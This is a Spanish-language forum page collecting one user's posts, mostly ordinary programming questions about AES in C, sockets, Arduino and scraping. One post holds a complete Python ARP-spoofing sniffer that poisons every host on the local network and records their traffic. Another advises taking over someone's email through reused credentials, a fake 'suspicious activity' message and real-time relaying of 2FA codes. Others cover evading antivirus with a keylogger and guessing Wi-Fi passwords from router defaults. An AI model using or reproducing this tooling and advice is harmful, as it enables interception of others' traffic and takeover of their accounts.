Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Frijolito

#1
Tu pagina usa alguna API? si no es asi lo mas probable es que tengas a hacer webscraping con python es bastante fácil No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, con eso deberías verificar si el los tickets cumplen un estándar, aunque personalmente si tienes acceso a la pagina donde se hacen los tickets y obligar al cliente a que complete correctamente el formulario
#2
Para programar tienes que estudiar programación , suena estúpido y obvio pero en todas las ingenierías existe una materia de programación, obviamente en algunas profundizan mas que otras pero lo mejor es buscar en youtube algún curso de programación en cualquier lenguaje menos php jeje, no pierdas mucho tiempo pensado cual lenguaje es mejor solo aprende uno no importa cual, y ramas supongo que te regisrtes a webdev, gamedev, ML, etc, bueno no existe la mejor busca la que mas te guste todas tienen su parte divertida pero si es por dinero webdev no es la que mas paga pero si la que mas rápido te puede generar beneficio.

Respecto a lo primero te recomiendo aprender de youtube, al final lo que estudies no importa mucho, yo estudio ing biomedica y no tiene nada que ver con informática
#3
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Buenas!

Claro que se puede, lo que usted busca es el portapapeles, que es el que almacena toda la información copiada de manera temporal. De ahí lo puedes leer. Sin embargo, si lo que quiere es hacer un script, le podría sugerir usar un módulo de Python llamado Pyperclip (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), que es para la manipulación del portapapeles, el cual puede utilizar para ver que es lo que ha copiado un usuario.

Espero haberte ayudado en algo. Saludos!
-Kirari

Muchas gracias algo asi estaba buscando <3
#4
Hola, aunque el titulo no es muy explicativo quiero poder saber si puedo ver que cosa tiene copiado un usuario me explico, abres un txt que tiene un texto lo seleccionas y lo copias, esa copia tiene que estar almacenada en algun lado, queria saber si es posible leer esos datos o mejor aun sobre escribirlos.
#5
Bueno esta es una duda que tenia de como se propagan los ransomware, osea se tiene que un pc esta contagiado con el ransomware y se pasa a los pc que están conectados a la misma red, como es posible que pase algo como eso, si alguien sabe como funciona ese tema y me podría guiar un poco de donde empezar a leer del tema lo agradecería muchísimo , gracias de antemano
#6
Un keylogger y un roberducky son cosas muy distintas, el keylogger detecta las pulsaciones del teclado y el rober finge ser uno, a mi parecer deberias programar el keylogger en assembler porque todas las librerias que quieres usar ya las detectan los antivirus, o hacer un keyloger fisico ( existen muchos tutoriales ) y hacer un rober ducky es otra cosa aunque se puede hacer con arduino
#7
Lo primero que se me ocurre es revisar si el email al que quieres entrar esta logeado en alguna otra plataforma e intentar por esa y ver si las credenciales son las mismas y cuando pruebes si lo son tu enviar un correo de "Actividad sospechosa" y estar atento o automatizar el doble factor para cuando la persona que estas atacando ponga el código tu lo reenvíes al instante a la web original. De todas formas es lo primero que se me viene a la cabeza y no se si sirva pero de todas formas lo comento
#8
Hola, estuve trabajando unos días en un sniffer con ARP_Spoofer incorporado que crea un archivo pcap para analizar el trafico después en wireshark y hacer lo que tengas que hacer con el. La cosa es que la idea principal era poder hacer esto para iPhone pero tengo entendido que no se puede programar con python en ios así que mi otra opción es usar un android viejo que tengo guardado y con qt pasarlo pero e buscado información y nada quería saber si alguien sabe algo al respecto para que me pueda ayudar, se que probablemente no funcione de una porque el tema de los sockets debe ser algo distinto en android pero la gracia es cambiar lo que sea necesario para que funcione en android. De todas maneras les dejo el codigo, esta en python 3, se tiene que ejecutar como administrador y poner el nombre del archivo en el que se va a guardar la informacion

Código: python
import socket
import struct
import sys
import netifaces
import nmap
import time
import threading
from scapy.all import Ether, ARP, srp, send

def ARP_Spoof( targets ,host ):
    enable_linux_iproute()
    print(' [*] Start ARP_Spoof')
    while dead:
        for target in targets:
            spoof( host, target )
            spoof( target, host )

def spoof( target_ip, host_ip ):
    target_mac = get_mac(target_ip)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
    send(arp_response, verbose=0)

def restore( target_ip, host_ip ):
    target_mac = get_mac(target_ip)
    host_mac = get_mac(host_ip)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
    send(arp_response, verbose=0, count=7)

def get_all_ip( host ):
    nm = nmap.PortScanner()
    host += '/24'
    nm.scan( host )
    return nm.all_hosts()

def get_gateway_ip():
    x = netifaces.gateways()
    return x['default'][netifaces.AF_INET][0]

def get_mac( ip ):
    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0 )
    if ans:
        return ans[0][1].src

def enable_linux_iproute():

    file_path = "/proc/sys/net/ipv4/ip_forward"
    with open( file_path ) as f:
        if f.read() == 1:
            f.close()
            return
    with open(file_path, "w") as f:
        print(1, file=f)
        print(' [*] Ip route enable. ')

def disable_linux_iproute():
    file_path = "/proc/sys/net/ipv4/ip_forward"
    with open( file_path ) as f:
        if f.read() == 0:
            f.close()
            return
    with open(file_path, "w") as f:
        print(0, file=f)
        print(' [*] Ip route disable. ')

def ethernet_frame( data ):
    dest_mac, src_mac, proto = struct.unpack('! 6s 6s H', data[:14] )
    return get_mac_addr( dest_mac ), get_mac_addr( src_mac ), socket.htons( proto ), data[14:]

def ipv4_packet( data ):
    version = data[0] >> 4
    header  = data[0] & 15
    ECN     = data[1]
    length  = int.from_bytes( data[2:4], "big" )
    identification = data[4:6]
    ttl ,proto ,src ,target = struct.unpack('! 8x B B 2x 4s 4s', data[:20])
    return version ,header ,ECN ,length ,identification ,ttl ,proto , ipv4(src) ,ipv4(target) ,data[header*4:]

def icmp_packet( data ):
    icmp_type, code, checksum = struct.unpack('! B B H', data[:4])
    return icmp_type, code, checksum, data[4:]

def tcp_segment( data ):
    src_port, dest_port, sequence, acknow, offset_reserved_flag ,windows_size, checksum, urgent_pointer = struct.unpack('! H H L L H H H H', data[:20] )
    header_length = data[12] >> 4
    offset   = offset_reserved_flag >> 12
    flag_urg = ( offset_reserved_flag & 32 ) >> 5
    flag_ack = ( offset_reserved_flag & 16 ) >> 4
    flag_psh = ( offset_reserved_flag & 8  ) >> 3
    flag_rst = ( offset_reserved_flag & 4  ) >> 2
    flag_syn = ( offset_reserved_flag & 2  ) >> 1
    flag_fin =   offset_reserved_flag & 1
    flags = [flag_urg, flag_ack, flag_psh, flag_rst, flag_syn, flag_fin ]
    return src_port, dest_port, sequence, acknow, flags, header_length ,windows_size, checksum, urgent_pointer,data[20:]

def get_mac_addr( bytes_addr ):
    bytesString = map('{:02x}'.format, bytes_addr )
    return ':'.join(bytesString).upper()

def ipv4( bytes_addr ):
    return '.'.join(map(str, bytes_addr ))

def write_file( file, data ):
    ts_sec, ts_usec = map(int, str(time.time()).split('.'))
    length = len(data)
    file.write(struct.pack('@ I I I I', ts_sec, ts_usec, length, length))
    file.write( data )

if __name__ == '__main__':
    print(
        """
         ██████  ███▄    █  ██▓  █████▒  █████▒ ██▓███  ▓██   ██▓
       ▒██    ▒  ██ ▀█   █ ▓██▒▓██   ▒ ▓██   ▒ ▓██░  ██▒ ▒██  ██▒
       ░ ▓██▄   ▓██  ▀█ ██▒▒██▒▒████ ░ ▒████ ░ ▓██░ ██▓▒  ▒██ ██░
         ▒   ██▒▓██▒  ▐▌██▒░██░░▓█▒  ░ ░▓█▒  ░ ▒██▄█▓▒ ▒  ░ ▐██▓░
       ▒██████▒▒▒██░   ▓██░░██░░▒█░    ░▒█░    ▒██▒ ░  ░  ░ ██▒▓░
       ▒ ▒▓▒ ▒ ░░ ▒░   ▒ ▒ ░▓   ▒ ░     ▒ ░    ▒▓▒░ ░  ░   ██▒▒▒
       ░ ░▒  ░ ░░ ░░   ░ ▒░ ▒ ░ ░       ░      ░▒ ░      ▓██ ░▒░
       ░  ░  ░     ░   ░ ░  ▒ ░ ░ ░     ░ ░    ░░        ▒ ▒ ░░
             ░           ░  ░                            ░ ░
                                                         ░
            By: Frijolito
        """
    )

    if len(sys.argv) != 2:
        print(" [!] Syntax error")
        print(" [!] sudo python3 sniffpy.py <filename.pcap>" )
        print(" [!] The file does not have to exist")
        exit(1)

    host = get_gateway_ip()
    targets = get_all_ip( host )
    global dead
    dead = True

    file = open(sys.argv[1], "wb" )
    file.write( struct.pack('@ I H H i I I I', 2712847316, 2, 4, 0, 0, 65535, 1))

    conn  = socket.socket( socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3))
    t = threading.Thread( target = ARP_Spoof ,name = 'ARP_SPOOF', args=( targets ,host) )
    t.start()
    time.sleep( 5 )

    print(' [*] Start sniffing. \n')
    print(' [*] Source          | Destination     | Protocol | Lenght | Info ')
    print(' --------------------+-----------------+----------+--------+-------')
    try:
        while True:
            raw_data, addr = conn.recvfrom( 65536 )
            write_file( file, raw_data )
            dest_mac, src_mac, eth_proto, data = ethernet_frame( raw_data )     # Primeros 14 bytes
            if dest_mac != '00:00:00:00:00:00' and src_mac != '00:00:00:00:00:00':
                if eth_proto == 8:
                    version ,header ,ECN ,length ,identification ,ttl ,proto , src ,target ,data = ipv4_packet(data)
                    if proto == 1:
                        icmp_type, code, checksum, data = icmp_packet( data )
                        print(f' [+] {src:15} | {target:15} |   ICMP   | ')
                    elif proto == 6:
                        src_port, dest_port, sequence, acknow, flags, header_length ,windows_size, checksum, urgent_pointer ,data = tcp_segment( data )
                        flags_ = []
                    # [flag_urg, flag_ack, flag_psh, flag_rst, flag_syn, flag_fin ]
                        if flags[0]:
                            flags_.append('URG')
                        elif flags[1]:
                            flags_.append('ACK')
                        elif flags[2]:
                            flags_.append('PSH')
                        elif flags[3]:
                            flags_.append('RST')
                        elif flags[4]:
                            flags_.append('SYN')
                        elif flags[5]:
                            flags_.append('FIN')
                        print(f' [+] {src:15} | {target:15} |   TCP    |  {length:4}  | {src_port:5} -> {dest_port:5}  {flags_}')
    except KeyboardInterrupt:
        file.close()
        dead = False
        print(' [*] Stop the sniffing')
        print(' [*] Stop the ARP Spoof')
        disable_linux_iproute()
        for target in targets:
            restore(target, host)
            restore(host, target)


Tambien me gustaria preguntar si alguien sabe algun metodo para saber las ip's de los demas equipos conectados a la red que no demore tanto como nmap, eso seria de mucha ayuda
#9
Últimamente estoy aprendiendo temas de electrónica y estoy reciente empezando con instrucciones en binario y y disenso de RAM y CPU básicos, pero llegue al punto hablan de assembler como un lenguaje a la vez que un compilador o programa y tengo la duda de que es lo que es assembler, si es un programa que pasa sus instrucciones a binario pasando por algún circuito aparte o un lenguaje que usa algún compilador aparte ? la pregunta es corta la verdad pero buscando en internet no encontré una respuesta adecuada
#10
Hola tengo un proyecto en el cual tengo que leer los datos que entran por un puerto USB desde un lector de código de barras y nunca antes había usando en algún programa un input que venga de otro lado que no sea un teclado y no podemos usar algún tipo de microcontrolador o microprocesador como rb3 y arduino ya que la idea es que funcione en un notebook, alguien sabe algo al respecto ya que en google no encontré mucha información que digamos
#11
Hola tengo un problema, tengo un seguidor de linea en arduino y se nos ocurrió una idea para calibrar ( aunque ya esta listo ) es que ande 10seg envie el error y que segun eso el pc haga unos cálculos y envié los datos para cambiar las variables.

Sabiendo eso tengo un pc HP Pavilion con bluetooth y quiero saber si es posible hacer un programa que pueda recibir y enviar datos por bluetooth usando el pc sin tener que conectar un modulo, si alguien tiene un poco de documentación sobre el tema seria de mucha ayuda , aunque el lenguaje es indiferente ojala puede ser en c/c++ o python. Gracias de antemano
#12
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hay dos probabilidades y una tres (debido a que no puedo apoyarte con el código debido a los pocos conocimientos en el lenguaje que usaste, aunque si eh usado, sigo y seguiré usando el cifrado AES en python).

La primera posibilidad es que no estás aplicando las mismas funciones que en la página web.

La segunda y la mas probable son los vectores de inicialización, que probablemente genera tu programa produciendo una salida diferente a pesar de que la entrada es la misma.

Lo que me pude llegar a dar cuenta es que en la página donde se cifran los datos usan los mismo vectores de inicialización, cada vez que pinchi el botón "encrypt" obtengo una salida sin cambios, algo posiblemente irrelevante.

que te refieres con lo de los vectores de inicalizacion? no entendi esa parte
#13
Buenos dias, tengo un problema muy simple estoy haciendo un programa que cifre un texto de 16 bytes con aes pero al probrar si el texto de salida es el mismo que en esta pagina No tienes permitido ver los links. Registrarse o Entrar a mi cuenta aunque da el resultado en base64 lo paso a hex con esta pagina No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, y el resultado de mi programa no es el mismo que el de la pagina, adjunto fotos:








El codigo es bantante extenso pero esta comentado y les dejare el pdf que estoy siguiendo para hacer el codigo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void ExpandirClave( unsigned char Clave[4][4], unsigned char ClaveExpandida[4][44] );
void Encriptar( unsigned char Texto[4][4] , unsigned char Claves[4][44] );

// Pasos para encriptar

void MixColums( unsigned char Texto[4][4] );
void SubBytes( unsigned char Texto[4][4] );
void ShiftRows( unsigned char Texto[4][4] );
void AddRoundKey( unsigned char Clave[4][4], unsigned char Texto[4][4] );

int S_Box( int Post ); // S_BOX No se que wea es pero se tiene que usar
int RCON[11] = { 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};

int main(){

printf("\n\t\t\t\t\t\t Cifrado AES " );
printf("\n\t\t\t\t\t\tBy: Frijolito" );
printf("\n");

// Se usa el unsigned para que tome valores de [0 - 255]

unsigned char Texto[16] = {'A','r','e','_','Y','o','u','_','a','_','1','_','o','r','_','0'};
unsigned char Matriz_Texto[4][4];
unsigned char Clave[16] = {'I','m','T','h','e','O','n','e','W','h','o','K','n','o','c','k'};
unsigned char Matriz_Clave[4][4];

unsigned char SubsClaves[4][44]; // Se almacenan todas las subclaves aca

printf("\n\t  [>>] Texto: ");
for( int i=0 ; i<16 ; i++ ){
printf("0x%2x ", Texto[i] );
}

printf("\n\t  [>>] Clave: ");
for( int i=0 ; i<16 ; i++ ){
printf("0x%2x ", Clave[i] );
}
printf("\n");

for( int i=0 ; i<4 ; i++ ){ // Se pasa el texto a una matriz
for( int j=0 ; j<4 ; j++ ){
Matriz_Texto[j][i] = Texto[i*4 +j];
}
}

for( int i=0 ; i<4 ; i++ ){ // Se pasa la clave a una matriz
for( int j=0 ; j<4 ; j++ ){
Matriz_Clave[j][i] = Clave[i*4 +j];
}
}

ExpandirClave( Matriz_Clave, SubsClaves );
Encriptar( Matriz_Texto, SubsClaves );

printf("\t  [>>] Texto cifrado hex: ");
for( int i=0 ; i<4 ; i++ ){
for( int j=0 ; j<4 ; j++ ){
printf("0x%2x ", Matriz_Texto[i][j] );
}
}
printf("\n\t  [>>] Texto cifrado dec: ");
for( int i=0 ; i<4 ; i++ ){
for( int j=0 ; j<4 ; j++ ){
printf("%c ", Matriz_Texto[i][j] );
}
}

printf("\n");

return 0;
}

void ExpandirClave( unsigned char Clave[4][4], unsigned char ClaveExpandida[4][44] ){

printf("\n\t  [!!] Generando SubsClaves.");

unsigned char CopiaColumna[4];
char Aux;

for( int i=0 ; i<4 ; i++ ){
for( int j=0 ; j<4 ; j++ ){
ClaveExpandida[i][j] = Clave[i][j];
}
}

for( int i=4 ; i<44 ; i++ ){
for( int j=0 ; j<4 ; j++ ){
CopiaColumna[j] = Clave[j][i-1];
}

if( i%4 == 0 ){

Aux = CopiaColumna[0];  // Se aplica RotWord de 1 byte   
CopiaColumna[0] = CopiaColumna[1];
CopiaColumna[1] = CopiaColumna[2];
CopiaColumna[2] = CopiaColumna[3];
CopiaColumna[3] = Aux;

for( int j=0 ; j<4 ; j++ ){
CopiaColumna[j] = S_Box(CopiaColumna[j]);
}

CopiaColumna[0] = CopiaColumna[0] ^ RCON[i/4];
}

for( int j=0 ; j<4 ; j++ ){
ClaveExpandida[j][i] = ClaveExpandida[j][i-4] ^ CopiaColumna[j];
}
}
printf("\n\t  [!!] SubsClaves generadas.\n");
}

void Encriptar( unsigned char Texto[4][4], unsigned char Claves[4][44] ){

printf("\n\t  [!!] Encriptando.\n");

unsigned char SubsClaves[4][4];
int x = 4;

// Ronda Inicial

printf("\n\t     [>>] Ronda inicial ");

for( int i=0 ; i<4 ; i++ ){
for( int j=0 ; j<4 ; j++ ){
SubsClaves[i][j] = Claves[i][j];
}
}
AddRoundKey( SubsClaves, Texto );
printf("Lista.");

// Ronda Media

printf("\n\t     [>>] Ronda media ");
for( int i=0 ; i<=9 ; i++ ){
SubBytes( Texto );
ShiftRows( Texto );
MixColums( Texto );
for( int j=0 ; j<4 ; j++ ){
for( int h=x ; h<x+4 ; h++ ){
SubsClaves[j][h-x] = Claves[j][h];
}
}
x = x + 4;
AddRoundKey( SubsClaves, Texto );
}
printf("Listo.");

// Ronda Final

printf("\n\t     [>>] Ronda final ");
SubBytes( Texto );
ShiftRows( Texto );
for( int i=0 ; i<4 ; i++ ){
for( int j=40 ; j<44 ; j++ ){
SubsClaves[i][j-40] = Claves[i][j];
}
}
AddRoundKey( SubsClaves, Texto );
printf("Listo.\n\n");

}

void AddRoundKey( unsigned char Clave[4][4], unsigned char Texto[4][4] ){
for( int i=0 ; i<4 ; i++ ){
for( int j=0 ; j<4 ; j++ ){
Texto[i][j] = Texto[i][j] ^ Clave[i][j];
}
}
}

void SubBytes( unsigned char Texto[4][4] ){
for( int i=0 ; i<4 ; i++ ){
for( int j=0 ; j<4 ; j++ ){
Texto[i][j] = S_Box( Texto[i][j] );
}
}
}

void ShiftRows( unsigned char Texto[4][4] ){
unsigned char ClaveAux;
int k = 1;
for( int i=1 ; i<4 ; i++ ){
for( int h=0 ; h<k ; h++){
ClaveAux = Texto[i][0];
for( int j=0 ; j<4 ; j++ ){
Texto[i][j] = Texto[i][j+1];
}
Texto[i][3] = ClaveAux;
}
k = k + 1;
}
}

void MixColums( unsigned char r[4][4] ){

unsigned char a[4];
    unsigned char b[4];
    unsigned char h;

    /* The array 'a' is simply a copy of the input array 'r'
     * The array 'b' is each element of the array 'a' multiplied by 2
     * in Rijndael's Galois field
     * a[n] ^ b[n] is element n multiplied by 3 in Rijndael's Galois field */

    for ( int i=0 ; i<4 ; i++ ) {
    for( int j=0 ; j<4 ; j++ ){
        a[i] = r[j][i];
        // h is 0xff if the high bit of r[c] is set, 0 otherwise
        h = (unsigned char)((signed char)r[j][i] >> 7); // arithmetic right shift, thus shifting in either zeros or ones
        b[i] = r[j][i] << 1;     // implicitly removes high bit because b[c] is an 8-bit char, so we xor by 0x1b and not 0x11b in the next line
        b[i] ^= 0x1B & h; // Rijndael's Galois field
    }

    r[0][i] = b[0] ^ a[3] ^ a[2] ^ b[1] ^ a[1]; /* 2 * a0 + a3 + a2 + 3 * a1 */
    r[1][i] = b[1] ^ a[0] ^ a[3] ^ b[2] ^ a[2]; /* 2 * a1 + a0 + a3 + 3 * a2 */
    r[2][i] = b[2] ^ a[1] ^ a[0] ^ b[3] ^ a[3]; /* 2 * a2 + a1 + a0 + 3 * a3 */
    r[3][i] = b[3] ^ a[2] ^ a[1] ^ b[0] ^ a[0]; /* 2 * a3 + a2 + a1 + 3 * a0 */

    }
}

int S_Box( int Post ){ // S_BOX No se que wea es pero se tiene que usar

int s_box[256] = {
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 };

return s_box[Post];
}
#14
Buenos dias, tengo un pequeno problema con leer un archivo cambiar el caracter que lei y volver a escribirlo en el archivo ya habia hecho esto hace mucho tiempo pero no se que ocurre ahora que no funciona les dejo el codigo, esta en c


Código: c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){

FILE *file;

file = fopen("Prueba.txt", "rb+");

char c;
char key = '0';
int x = 1;

while( (c = fgetc(file)) != EOF ){
printf("%c", c);
c = c^key;
fputc(c, file);
fseek( file, x, SEEK_SET );
x++;
}

fclose(file);
return 0;
}
#15
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola, tengo una duda y es que tenemos un chat en telegram con unos amigos y hay un juego donde tienes que sumar restar dividir o multiplicar 2 números y el que logra hacer mas operaciones en un tiempo gana y me fije que esas variables están en el html y quería saber como puedo sacar esas variables para poder hacer un bot que juegue automáticamente investigue pero no encontré nada en el tema aunque solo busque en paginas en español , bueno si alguien sabe algo del tema y lo quiere compartir lo agradecería mucho. Gracias de antemano.

Aquí en el foro hay hilos sobre -web scraping- creo que te será de ayuda

Voy a buscar por web scraping, no sabia que se llamaba asi, gracias.
#16
Hola, tengo una duda y es que tenemos un chat en telegram con unos amigos y hay un juego donde tienes que sumar restar dividir o multiplicar 2 números y el que logra hacer mas operaciones en un tiempo gana y me fije que esas variables están en el html y quería saber como puedo sacar esas variables para poder hacer un bot que juegue automáticamente investigue pero no encontré nada en el tema aunque solo busque en paginas en español , bueno si alguien sabe algo del tema y lo quiere compartir lo agradecería mucho. Gracias de antemano.
#17
La verdad la gente no cambia el ssid de los router podrias ver de que compania son y con eso ver la longitud de las claves si tiene mayúsculas y esas cosas y después haces el diccionario pero por lo general usan 8 caracteres según yo
#18
Hola la verdad en el titulo no se explica bien lo que quiero preguntar pero lo explico mejor aca, la cosa es yo aprendí a programar pero no aprendí como lo mas básico de la ingeniería o como funciona el cpu ( si se puede llamar de esa forma ) asi que me puse a estudiar la maquina de Von Neumann para entender mejor el tema y me entro una idea a la cabeza, si

add ---> 011  = 3
sub ---> 101  = 5
mul ---> 001  = 1
div  ---> 000  = 0
jmp ---> 111  = 6

Entonces mi duda si ordeno esos números y los paso por la cpu ejemplo:

      AC <- 5
      1-. add 2
      2-. sub

existe alguna forma de que eso me de 10 o algo asi, eso me manda error pero debe ser por el compilador supongo

Tengo entendido que en pokemon zafiro si guardabas algunos pokemon en cierto orden osea dependiendo de su valor binario se podian hacer varios tipos de operaciones simples y creo que eso aplica también a mi duda. sorry si la pregunta es muy estúpida pero quede con la duda. Gracias de antemano.




#19
Hola, estoy haciendo un proyecto en el cual se mide la humedad del agua, temperatura, y luz y dependiendo de la información apaga la luz, se activa un ventilador o deja pasar el agua pero no se como hacer lo ultimo, no si si existe un modulo para dejar pasar el agua o algo parecido ya que necesito que el paso de agua sea leve para poder hacer un riego por goteo para ahorrar agua, espero sus respuestas gracias de antemano.
#20


Estoy haciendo un programa y necesito que se puedan pasar archivos a través de los sockets pero el programa se queda pegado el server el cual enviá el archivo y el cliente se pega, también abrir el archivo en modo binario (no se si se dice así) y tampoco funciono . Gracias de antemano.

Esta es para enviar.


Código: c
void EnviarArchivo( int sock, char Name_file[50] ){

FILE *file;
file = fopen(Name_file, "r");

char Buff[1000];

while( fgets( Buff ,1000 ,file) != NULL ){
    send(sock, Buff, sizeof(Buff), 0);
}
send(sock, "Listo.", sizeof("Listo."), 0);
fclose(file);


y esta parte es para recibir.


Código: c
void RecibirArchivo( int sock, char Name_file[50] ){
FILE *file;
char Buff[1000];

file = fopen(Name_file, "w");
while(strcmp(Buff,"Listo.")){
    recv( sock ,Buff ,1000 , 0 );
    if(strcmp(Buff, "Listo.")){
        fputs( Buff, file );
    }
}
fclose(file);


Si necesitan otra parte del codigo editare el post.